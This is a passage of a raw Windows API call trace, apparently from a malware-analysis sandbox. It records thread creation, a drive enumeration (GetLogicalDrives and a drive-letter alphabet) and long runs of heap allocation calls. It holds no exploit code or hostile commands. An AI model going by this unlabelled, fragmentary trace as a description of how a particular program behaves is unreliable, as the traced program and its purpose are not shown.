lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x484510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0076.257] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fba0 [0076.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x47fba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0076.258] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0076.258] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f528 [0076.258] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f528, Size=0x40) returned 0x45af70 [0076.258] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0076.258] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xd0) returned 0x45b3a0 [0076.258] GetLogicalDrives () returned 0x4 [0076.258] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10014) returned 0x486380 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f730 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45abc8 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45abc8, Size=0x80) returned 0x4c7198 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c7198, Size=0x100) returned 0x484f18 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484f18, Size=0x200) returned 0x4c73a8 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c73a8, Size=0x400) returned 0x4c73a8 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c73a8, Size=0x800) returned 0x4c73a8 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c73a8, Size=0x1000) returned 0x4c73a8 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x4963a0 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484240 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x47fbb0 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484390 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x47fb60 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4843a8 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fb60, Size=0x8) returned 0x47fb10 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484480 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fb10, Size=0x10) returned 0x484378 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484420 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4843c0 [0076.259] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484378, Size=0x20) returned 0x47f668 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4841e0 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fb60 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x484348 [0076.259] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x484228 [0076.260] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f668, Size=0x40) returned 0x45a868 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x484270 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x484288 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4842b8 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4842a0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4842d0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4844b0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fbd0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484468 [0076.260] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45a868, Size=0x80) returned 0x4c6c48 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484360 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484210 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4841f8 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4842e8 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4843f0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4843d8 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484498 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fb30 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484300 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484318 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484330 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484438 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484450 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x484378 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c86e0 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8878 [0076.260] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6c48, Size=0x100) returned 0x484f18 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c89c8 [0076.260] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c87d0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8980 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4c8908 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c86f8 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8830 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa90 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c88a8 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8710 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8800 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x47fae0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8920 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c88f0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fbf0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8998 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c89b0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8740 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8860 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8818 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c88d8 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4c8938 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c87e8 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4c87a0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c87b8 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8848 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8890 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c88c0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47faf0 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8728 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8950 [0076.261] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8770 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8758 [0076.262] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484f18, Size=0x200) returned 0x4c8bb8 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8968 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa30 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8788 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8aa0 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8a70 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8b48 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8b00 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8a58 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8b78 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8b60 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8a88 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8b90 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8ab8 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8ad0 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8a28 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8b18 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c89e0 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c89f8 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8ae8 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8a40 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8b30 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8a10 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c85a8 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa40 [0076.262] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c84e8 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c84b8 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c85c0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa50 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c84d0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8560 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c86b0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8608 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c85d8 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8488 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8470 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8518 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8548 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8500 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c85f0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8530 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c83f8 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8620 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8638 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c84a0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8680 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8650 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8668 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8578 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8698 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fad0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x47faa0 [0076.263] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8590 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c86c8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c83e0 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8410 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8428 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8440 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8458 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8fe8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8fd0 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c90c0 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8e80 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9060 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8fa0 [0076.264] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c8bb8, Size=0x400) returned 0x4c95c8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8fb8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c90d8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8ee0 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8f40 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9000 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8e20 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8e38 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8ef8 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9078 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8e50 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fb10 [0076.264] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8f10 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c8df0 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8e08 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8e68 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8f28 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8e98 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4c8f88 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9018 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8eb0 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9030 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8ec8 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9090 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8f58 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c8f70 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9048 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa60 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c90a8 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c92a0 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9318 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9360 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c92d0 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c91f8 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c93d8 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9228 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9330 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4c91e0 [0076.265] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9138 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4c93a8 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9240 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9180 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9258 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9210 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c90f0 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c92b8 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9390 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9168 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9300 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9108 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9288 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c92e8 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9270 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9378 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9348 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c93c0 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9120 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9150 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9198 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c91b0 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c91c8 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9528 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9588 [0076.266] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4c9540 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x12) returned 0x456660 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9558 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9510 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9570 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9498 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c95a0 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c93f0 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9408 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c94e0 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9480 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9468 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9420 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9450 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c94f8 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c94b0 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c94c8 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9438 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9a30 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9a18 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9bf8 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9b50 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9c28 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9a90 [0076.267] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9b80 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xe) returned 0x4c9be0 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9c40 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa70 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9a48 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47f9d0 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9b98 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9b68 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9c70 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9b20 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9bb0 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9c10 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9bc8 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9c58 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9a78 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9aa8 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9c88 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9ca0 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4c9a60 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9a00 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fa00 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9cb8 [0076.268] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4c9cd0 [0076.268] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c95c8, Size=0x800) returned 0x4ca1d8 [0076.269] lstrlenW 